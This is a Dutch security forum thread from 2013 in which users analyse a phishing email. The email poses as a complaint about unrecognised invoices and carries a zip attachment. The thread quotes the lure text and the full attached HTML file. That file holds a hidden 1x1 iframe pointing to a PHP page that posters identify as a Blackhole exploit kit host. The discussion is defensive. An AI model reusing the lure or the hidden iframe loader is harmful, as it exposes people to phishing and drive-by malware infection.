Nieuwe NL phishing e-mail in omloop? - Privacy en beveiliging

donderdag 3 oktober 2013 09:12

Acties:

Topicstarter

Krijg zojuist een e-mail

Van: Daphne Herentals de Jong [D.Herentals@******.nl]

Geachte heer, mevrouw,

Ik krijg meerdere facturen binnen van uw bedrijf.
Ik kan me niet herinneren dat ik iets bij u heb afgenomen.
Zou u kunnen controleren of de factuur klopt die u mij stuurt?
Als de factuur klopt zal ik het verschuldigde bedrag overmaken.
Ik heb de facturen ingescant en als bijlage toegevoegd.
ik hoor het graag van u.

met vriendelijke groet,

Daphne Herentals de Jong

Met daarin een een zip bestand (facturen.zip) met twee bestanden.

Een PDF bestand (brotherx342scan01.pdf)
Afbeeldingslocatie: http://img51.imageshack.us/img51/9968/zuct.jpg

Afbeeldingslocatie: http://img51.imageshack.us/img51/9968/zuct.jpg

En een html bestand (brotherx342scan02.html)

HTML:

<html>
<head>
<title>Factuur</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<style>
body { font-size:18px; margin-top:15px; }
</style>
</head>
<body>
<center>Bezig met laden....</center>

<iframe src="http://gadgetrichrespectively.org/computed/rahcgnitubirtsidsuou.php" style="border:0px;width:1px;height:1px"></iframe>

</body>
</html>

Mijn gegevens zie ik nergens, ook mijn e-mailadres niet. Vooral het HTML bestand lijkt me verdacht. De pagina wil een java script laden. Google kent het domein niet eens. Verdacht??

donderdag 3 oktober 2013 09:16

Acties:

MuddyMagical

Euh ja!

Direct weggooien zulke mails. Ik ken geen bedrijven die met zulke domeinen werken.

donderdag 3 oktober 2013 09:17

Acties:

MarchelHoek

Gisteravond dezelfde mail ontvangen. Enkeltje Shift-Delete naar het grote archief.

Bla Bla Bla

donderdag 3 oktober 2013 09:23

Acties:

hiekikowan

Leuk dat ze hun algemene voorwaarden gedeponeerd hebben onder nummer '12345' bij de rechtbank te 'xxxxxxx'. Kortom, alleen dat is al een aanleiding om de mail onbeantwoord een enkeltje /dev/null te geven.

donderdag 3 oktober 2013 09:27

Acties:

gambieter

Just me & my cat

Hij is ook wel leuk: postcode 5681 is Best in Noord Brabant, niet Groningen.

Het is gewoon bedoeld om je aandacht te trekken, zodat je het niet gelijk weggooit. En dat heeft gewerkt

I had a decent lunch, and I'm feeling quite amiable. That's why you're still alive.

donderdag 3 oktober 2013 09:44

Acties:

Mr-Leo

Topicstarter

Er is wel veel werk van gemaakt!

donderdag 3 oktober 2013 16:05

Acties:

Verwijderd

Website bestaat ook niet

donderdag 3 oktober 2013 16:10

Acties:

Tukk

De α-man met het ẞ-brein

Ik vermoed dat de grap hem in de html zit:
• die iframe verwijst naar een vage site
• met een vage naam van de php-file: rahcgnitubirtsidsuou.php
• de iframe is 1 bij 1 pixel.

Oftwel, men hoopt dat je de html opent door de vreemde pdf en men hoopt dat de iframe daarna zijn werk kan gaan doen bij mensen die hun pc niet goed beveiligt hebben.

Zoals eerder gemeld, delete die rotzooi maar.

[ Voor 3% gewijzigd door Tukk op 03-10-2013 16:11 ]

Q: How many geeks does it take to ruin a joke? A: You mean nerd, not geek. And not joke, but riddle. Proceed.

donderdag 3 oktober 2013 20:59

Acties:

Thralas

Mr-Leo schreef op donderdag 03 oktober 2013 @ 09:12:
[afbeelding]

En daar had je ook al geowned kunnen zijn. Pas op met het openen van files die je niet vertrouwt.

donderdag 3 oktober 2013 21:19

Acties:

Verwijderd

Wie zegt dat hij niet geowned is dmv de PDF?

donderdag 3 oktober 2013 21:25

Acties:

donnie1992

Omdat over het algemeen de pdf exploits (autoexec/driveby) redelijk gedicht zijn.

donderdag 3 oktober 2013 21:29

Acties:

begintmeta

Moderator General Chat

ZIjn er nog meta-gegevens beschikbaar (PDF&mail), dat zou wel interessant kunnen zijn?

donderdag 3 oktober 2013 21:41

Acties:

Thralas

begintmeta schreef op donderdag 03 oktober 2013 @ 21:29:
ZIjn er nog meta-gegevens beschikbaar (PDF&mail), dat zou wel interessant kunnen zijn?

Hier mailheaders.

Twee samples met verschillende filesize. Scans zijn vrij waardeloos though. Host uit het iframe serveerde eerder vandaag nog Blackhole.

Verwijderd schreef op donderdag 03 oktober 2013 @ 21:19:
Wie zegt dat hij niet geowned is dmv de PDF?

Niemand. Doch is het enigzins sullig om een 'nette' PDF-payload te vergezellen met een nogal obvious exploitkit in een iframe.

donderdag 3 oktober 2013 21:43

Acties:

photofreak

Op de desbetreffende website was een instance van BlackHole gehost.
Meer informatie over de desbetreffende landing page kan gevonden worden op: http://urlquery.net/report.php?id=6276567

Overigens lijken/leken er meer malware instances op deze webserver te staan: https://www.virustotal.co...23.231.4.141/information/

donderdag 3 oktober 2013 22:56

Acties:

Verwijderd

Thralas schreef op donderdag 03 oktober 2013 @ 21:41:
[...]

Niemand. Doch is het enigzins sullig om een 'nette' PDF-payload te vergezellen met een nogal obvious exploitkit in een iframe.

You never know. Besides, iemand die niet zeker weet of iets phishing is moet geen bijgevoegde attachments openen.

Twee samples met verschillende filesize. Scans zijn vrij waardeloos though. Host uit het iframe serveerde eerder vandaag nog Blackhole.

De PDFs in beide bestanden zijn identiek, en clean.

vrijdag 4 oktober 2013 18:50

Acties:

LnC

The offending line...

Upload die twee bestanden eens naar Virustotal of een soort gelijke site. Misschien zit er in de .pdf bestand toch nog malware verborgen.